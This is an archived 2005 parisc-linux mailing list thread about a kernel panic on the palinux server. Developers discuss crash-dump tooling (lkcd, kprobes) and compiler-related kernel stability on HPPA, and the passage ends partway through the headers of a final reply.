X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 04:37:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 21 Jul 2005 06:37:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0F007D6A4;
	Wed, 20 Jul 2005 22:36:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03012-10; Wed, 20 Jul 2005 22:36:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8A607D6A6;
	Wed, 20 Jul 2005 22:36:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 972EB7D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 22:36:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03012-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 22:36:53 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 28D6C7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 22:36:53 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id EF86574038; Wed, 20 Jul 2005 22:36:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id C15C174026
	for <parisc-linux@parisc-linux.org>;
	Wed, 20 Jul 2005 22:36:52 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DvSnN-00022I-00; Thu, 21 Jul 2005 00:36:29 -0400
Content-Disposition: inline
In-Reply-To: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (9% Sync Ratio [=.........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OUOtYnAHeSEkSL6WZHQhaXN1IGRvb4Df
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25161

On Wed, Jul 20, 2005 at 01:22:27PM +0100, Matthew Wilcox wrote:
> 
> This seems to be a bit different from most:
> 
> Bad Address (null pointer deref?): Code=15 regs=00000000ff8b88f0 (Addr=c000007f80000000)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001001110001000001110 Not tainted
> r00-03  0000000000000000 ffffffffffff5000 00000000101728f4 0000000098c54000
> r04-07  00000000104b9200 00000000ff956900 00000000fff700e8 00000000ff956910
> r08-11  000000000000001a 00000000105435e8 000000000000001b 0000000000200200
> r12-15  0000000000100100 00000000ff956930 00000000000000f0 00000000000000ff
> r16-19  00000000f00003dc 00000000f000028c 00000000f0002aec 00000000003bd64c
> r20-23  ffffffff80000000 00000000eb78ed40 0000000012a06260 0000000000000000
> r24-27  000000000000b000 0000000000000002 0000000098c545c0 00000000104b9200
> r28-31  0000000000000002 00000000ff8b88c0 00000000ff8b88f0 0000000000000001
> sr0-3   0000000000046800 0000000000046800 0000000000000000 0000000000046800
> sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101728d4 00000000101728d8
>  IIR: 0e9512c0    ISR: 000000003fffff80  IOR: c000007f80000000
>  CPU:        0   CR30: 00000000ff8b8000 CR31: 0000000010480000
>  ORIG_R28: 00000000104b9200
>  IAOQ[0]: free_block+0xac/0x1a0
>  IAOQ[1]: free_block+0xb0/0x1a0
>  RP(r2): free_block+0xcc/0x1a0
> Kernel panic: Bad Address (null pointer deref?)

Any context on the workload at the time?
/var/log/* around the time of the crash?

We need better tools for this... I wonder if we still have lkcd support
for hppa.

If we had lkcd support would you be willing to run a modified kernel on
parisc-linux?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Thu, 21 Jul 2005 11:34:22 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <42DF883E.1020607@tiscali.be>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
	<20050721043626.GY30182@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624553 26950 80.91.229.3 (22 Nov 2014 02:49:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 11:35:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 21 Jul 2005 13:35:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E31557D70A;
	Thu, 21 Jul 2005 05:35:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06120-09; Thu, 21 Jul 2005 05:35:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2CD77D70E;
	Thu, 21 Jul 2005 05:35:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 817EE7D705
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 05:35:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06120-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 05:35:10 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 109527D6EB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 05:35:10 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 75C9F7404F; Thu, 21 Jul 2005 05:35:09 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by palinux.hppa (Postfix) with ESMTP id C966174026
	for <parisc-linux@parisc-linux.org>;
	Thu, 21 Jul 2005 05:35:08 -0600 (MDT)
Original-Received: from (ip-213-49-94-75.dsl.scarlet.be [213.49.94.75]) 
	by oola.is.scarlet.be  with ESMTP id j6LBYMh14576; 
	Thu, 21 Jul 2005 13:34:23 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <20050721043626.GY30182@systemhalted.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L+2tYi9XeSEkO76WZHQhaXN1IGRvb8B/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25162



Carlos O'Donell wrote:
> On Wed, Jul 20, 2005 at 01:22:27PM +0100, Matthew Wilcox wrote:
> 
[...]
> 
> We need better tools for this... I wonder if we still have lkcd support
> for hppa.
> 
> If we had lkcd support would you be willing to run a modified kernel on
> parisc-linux?
> 
Afaik unfortunately there wasn't any more support of lkcd on hppa since 2 or 3 years :-(
(iirc Bruno Vidal made this effort in 2.4 but never ported in 2.6 :_( ?

But I totaly agree with you, we would need better tool, specialy when the situation is not clear:
some weeks ago, with jda's help I manage to compile p-l kernel with gcc-4.0 and some fpr constraint.
This kernel seems to be very more stable (passed with success some stress test of mine during severall days when it would crash in 
few ours or less when compile with gcc-3.3).
But I also tried to rebuild gcc-4.1 to just reproduce the pb encountered by jda in a c++ test:
efectively, the kernel 'hang' or 'freeze' during this test and it's hard to guess what's hapening;
no more network responds (no ping, no ssh, ...), no more console responds, ...
but pressing TOC button launched well a panic, and unfortunately pim analisys didn't help at all :-?
(fyi: <http://lists.parisc-linux.org/pipermail/parisc-linux/2005-July/026855.html>)

So am I also looking for way to help: lkcd? instrumenting the kernel like kprobes/dprobes? (but not yet hppa support)
Unfortunately, I definetily don't have deep enough knowledge of linux kernel to help more, sorry.

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Thu, 21 Jul 2005 06:30:45 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20050721123045.GA27330@colo.lackof.org>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
	<20050721043626.GY30182@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624553 26954 80.91.229.3 (22 Nov 2014 02:49:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 12:26:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 21 Jul 2005 14:26:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 90D937D727;
	Thu, 21 Jul 2005 06:26:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07936-01; Thu, 21 Jul 2005 06:26:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2AB87D71B;
	Thu, 21 Jul 2005 06:26:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A4B77D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:26:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06585-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:26:01 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DFF617D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:26:01 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 77B247404F; Thu, 21 Jul 2005 06:26:01 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 0FD7C74026
	for <parisc-linux@parisc-linux.org>;
	Thu, 21 Jul 2005 06:26:01 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 168AE298013;
	Thu, 21 Jul 2005 06:30:47 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29179-01; Thu, 21 Jul 2005 06:30:45 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 151F9298010; Thu, 21 Jul 2005 06:30:45 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050721043626.GY30182@systemhalted.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PPGtYpFkeSEkb76WZHQhaXN1IGRvbwBX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25163

On Thu, Jul 21, 2005 at 12:36:27AM -0400, Carlos O'Donell wrote:
> We need better tools for this... I wonder if we still have lkcd support
> for hppa.

I have the "most recent" (2.4.20) patch from Bruno Vidal 
and he had it working on most of the platforms (32 and 64-bit).
It didn't get included becuase of (my) lack of time to integrate
and the fact that it wasn't popular at the time. I'm really
happy to see that's changed.

Bruno, is that posted someplace publicly or can I post it?
(I'm hoping Bruno is still subscribed to p-l)

> If we had lkcd support would you be willing to run a modified kernel on
> parisc-linux?

I would.
In fact, I'd change all the default config files to include it.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Thu, 21 Jul 2005 06:47:13 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20050721124713.GB27330@colo.lackof.org>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
	<20050721043626.GY30182@systemhalted.org>
	<42DF883E.1020607@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624554 26957 80.91.229.3 (22 Nov 2014 02:49:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:14 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 12:42:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 21 Jul 2005 14:42:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B2107D730;
	Thu, 21 Jul 2005 06:42:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08370-03; Thu, 21 Jul 2005 06:42:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05D577D733;
	Thu, 21 Jul 2005 06:42:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3AD627D716
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:42:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08212-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:42:34 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C00DD7D705
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:42:34 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 2F36F7404F; Thu, 21 Jul 2005 06:42:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 2E26C74026
	for <parisc-linux@parisc-linux.org>;
	Thu, 21 Jul 2005 06:42:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8E4B4298013;
	Thu, 21 Jul 2005 06:47:14 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30199-05; Thu, 21 Jul 2005 06:47:13 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1D261298010; Thu, 21 Jul 2005 06:47:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42DF883E.1020607@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ef2tYosBeSEkeb6WZHQhaXN1IGRvbwAy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25164

On Thu, Jul 21, 2005 at 11:34:22AM +0000, Joel Soete wrote:
> This kernel seems to be very more stable (passed with success some stress 
> test of mine during severall days when it would crash in few ours or less 
> when compile with gcc-3.3).

Joel,
This is good news. Thanks for trying this out.

> ...
> but pressing TOC button launched well a panic, and unfortunately pim 
> analisys didn't help at all :-?
> (fyi: 
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2005-July/026855.html>)

In 026855.html you wrote you didn't save the System.map.

> So am I also looking for way to help: lkcd? instrumenting the kernel like 
> kprobes/dprobes? (but not yet hppa support)

kprobes will need more support for runtime patching of the code.
It's not trivial to do that given the VIVT caches on parisc.
It's certainly possible though since I know HPUX does that.
But it also means changing the kernel text to RW or using
absolute stores/icache flushing to modified the kernel instructions.


> Unfortunately, I definetily don't have deep enough knowledge of linux 
> kernel to help more, sorry.

I only know enough to be dangerous to be people who know less. :^)

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Thu, 21 Jul 2005 19:48:23 +0000
Lines: 61
Approved: news@gmane.org
Message-ID: <42DFFC07.5080607@tiscali.be>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
	<20050721043626.GY30182@systemhalted.org>
	<42DF883E.1020607@tiscali.be>
	<20050721124713.GB27330@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624554 26960 80.91.229.3 (22 Nov 2014 02:49:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:14 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 19:48:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 21 Jul 2005 21:48:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CCE6C7D62A;
	Thu, 21 Jul 2005 13:48:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11613-05; Thu, 21 Jul 2005 13:48:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D5857D62B;
	Thu, 21 Jul 2005 13:48:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF4537D629
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 13:48:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11405-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 13:48:27 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4E4B57D615
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 13:48:27 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id DE6DA49418B; Thu, 21 Jul 2005 13:48:26 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by palinux.hppa (Postfix) with ESMTP id 122C5494066;
	Thu, 21 Jul 2005 13:48:25 -0600 (MDT)
Original-Received: from (ip-213-49-106-177.dsl.scarlet.be [213.49.106.177]) 
	by oola.is.scarlet.be  with ESMTP id j6LJmNh21457; 
	Thu, 21 Jul 2005 21:48:23 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <20050721124713.GB27330@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
